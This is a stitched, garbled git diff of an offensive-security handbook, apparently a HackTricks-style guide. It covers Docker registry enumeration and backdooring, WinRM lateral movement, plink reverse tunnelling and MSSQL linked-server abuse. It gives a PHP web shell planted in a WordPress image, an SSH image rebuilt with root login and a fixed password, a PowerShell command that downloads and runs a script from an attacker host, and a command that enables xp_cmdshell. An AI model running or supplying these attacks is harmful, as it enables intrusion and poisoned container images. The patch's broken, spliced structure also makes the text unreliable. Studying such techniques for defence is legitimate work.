Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:
|
||||
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
|
||||
#Get tags of a repository
|
||||
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
||||
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
||||
|
||||
#Get manifests
|
||||
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"name": "ubuntu",
|
||||
"tag": "latest",
|
||||
"architecture": "amd64",
|
||||
"fsLayers": [
|
||||
{
|
||||
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
||||
},
|
||||
{
|
||||
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
||||
},
|
||||
{
|
||||
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
||||
}
|
||||
],
|
||||
"history": [
|
||||
{
|
||||
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
||||
},
|
||||
{
|
||||
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
||||
},
|
||||
{
|
||||
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
||||
}
|
||||
],
|
||||
"signatures": [
|
||||
{
|
||||
"header": {
|
||||
"jwk": {
|
||||
"crv": "P-256",
|
||||
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
||||
"kty": "EC",
|
||||
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
||||
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
||||
},
|
||||
"alg": "ES256"
|
||||
},
|
||||
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
||||
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
#Download one of the previously listed blobs
|
||||
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
||||
|
||||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeration using docker
|
||||
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
||||
#Check the commands used to create the layers of the image
|
||||
docker history 10.10.10.10:5000/ubuntu
|
||||
#IMAGE CREATED CREATED BY SIZE COMMENT
|
||||
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
||||
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
||||
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
||||
|
||||
#Run and get a shell
|
||||
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
|
||||
### Backdooring WordPress image
|
||||
|
||||
In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.
|
||||
**Create** the **backdoor**:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```bash
|
||||
<?php echo shell_exec($_GET["cmd"]); ?>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Create a **Dockerfile**:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Create** the new image, **check** it's created, and **push** it:
|
||||
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
|
||||
### Backdooring SSH server image
|
||||
|
||||
Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.
|
||||
**Download** the image and **run** it:
|
||||
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
|
||||
Extract the `sshd_config` file from the SSH image:
|
||||
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
|
||||
And modify it to set: `PermitRootLogin yes`
|
||||
|
||||
Create a **Dockerfile** like the following one:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Create** the new image, **check** it's created, and **push** it:
|
||||
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
|
|
@ -67,6 +67,12 @@ Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration}
|
|||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
|
||||
### Get reverse
|
||||
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
|
||||
### Get a PS session
|
||||
|
||||
Or, if you want to drop right into an interactive PowerShell session, use the `Enter-PSSession` function:
|
||||
|
|
|
@ -272,8 +272,8 @@ It's like a console PuTTY version \( the options are very similar to a ssh clien
|
|||
As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
|
||||
|
||||
```bash
|
||||
plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
```
|
||||
|
||||
## NTLM proxy bypass
|
||||
|
|
|
@ -52,5 +52,5 @@ Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.
|
|||
* Limit DA/Admin logins to specific services
|
||||
* Set "Account is sensitive and cannot be delegated" for privileged accounts.
|
||||
|
||||
\*\*\*\*[**More information in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)\*\*\*\*
|
||||
\*\*\*\*[**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)\*\*\*\*
|
||||
|
||||
|
|
|
@ -44,6 +44,9 @@ Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
|||
#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
|
||||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
|
||||
|
||||
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
|
||||
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
|
||||
|
||||
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
|
||||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
|
||||
|
||||
|
|
Loading…
Reference in New Issue